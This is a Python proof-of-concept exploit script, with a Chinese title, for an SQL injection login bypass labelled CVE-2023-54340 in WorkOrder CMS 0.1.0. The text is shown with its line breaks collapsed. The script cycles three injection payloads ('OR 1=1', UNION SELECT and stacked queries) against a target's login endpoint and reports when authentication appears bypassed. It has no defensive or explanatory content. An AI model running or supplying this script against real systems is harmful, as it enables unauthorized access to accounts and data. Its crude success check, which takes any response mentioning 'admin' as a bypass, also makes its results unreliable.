CVE-2023-54340 WorkOrder CMS SQL注入漏洞导致登录绕过

import requests import sys # CVE-2023-54340 SQL Injection PoC for WorkOrder CMS 0.1.0 Login Bypass # Target: WorkOrder CMS 0.1.0 Login Authentication Bypass # Vulnerability: SQL Injection in username/password parameters def exploit_login(target_url): """ Exploit SQL injection vulnerability to bypass authentication """ login_endpoint = f"{target_url}/login" # Adjust path as needed # Method 1: Basic SQL Injection with OR '1'='1' payload1 = { 'username': "admin' OR '1'='1' --", 'password': 'anypassword' } # Method 2: Using UNION-based injection payload2 = { 'username': "admin' UNION SELECT 1,2,3 --", 'password': 'test' } # Method 3: Stacked queries (if supported) payload3 = { 'username': "admin'; SELECT * FROM users --", 'password': 'test' } payloads = [payload1, payload2, payload3] for i, payload in enumerate(payloads, 1): try: print(f"[*] Trying payload method {i}...") response = requests.post(login_endpoint, data=payload, timeout=10) # Check for successful login indicators if 'dashboard' in response.text.lower() or 'admin' in response.text.lower(): print(f"[+] SUCCESS: Authentication bypassed with method {i}") print(f"[+] Payload: {payload}") return True else: print(f"[-] Failed with method {i}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Starting CVE-2023-54340 exploitation on {target}") exploit_login(target)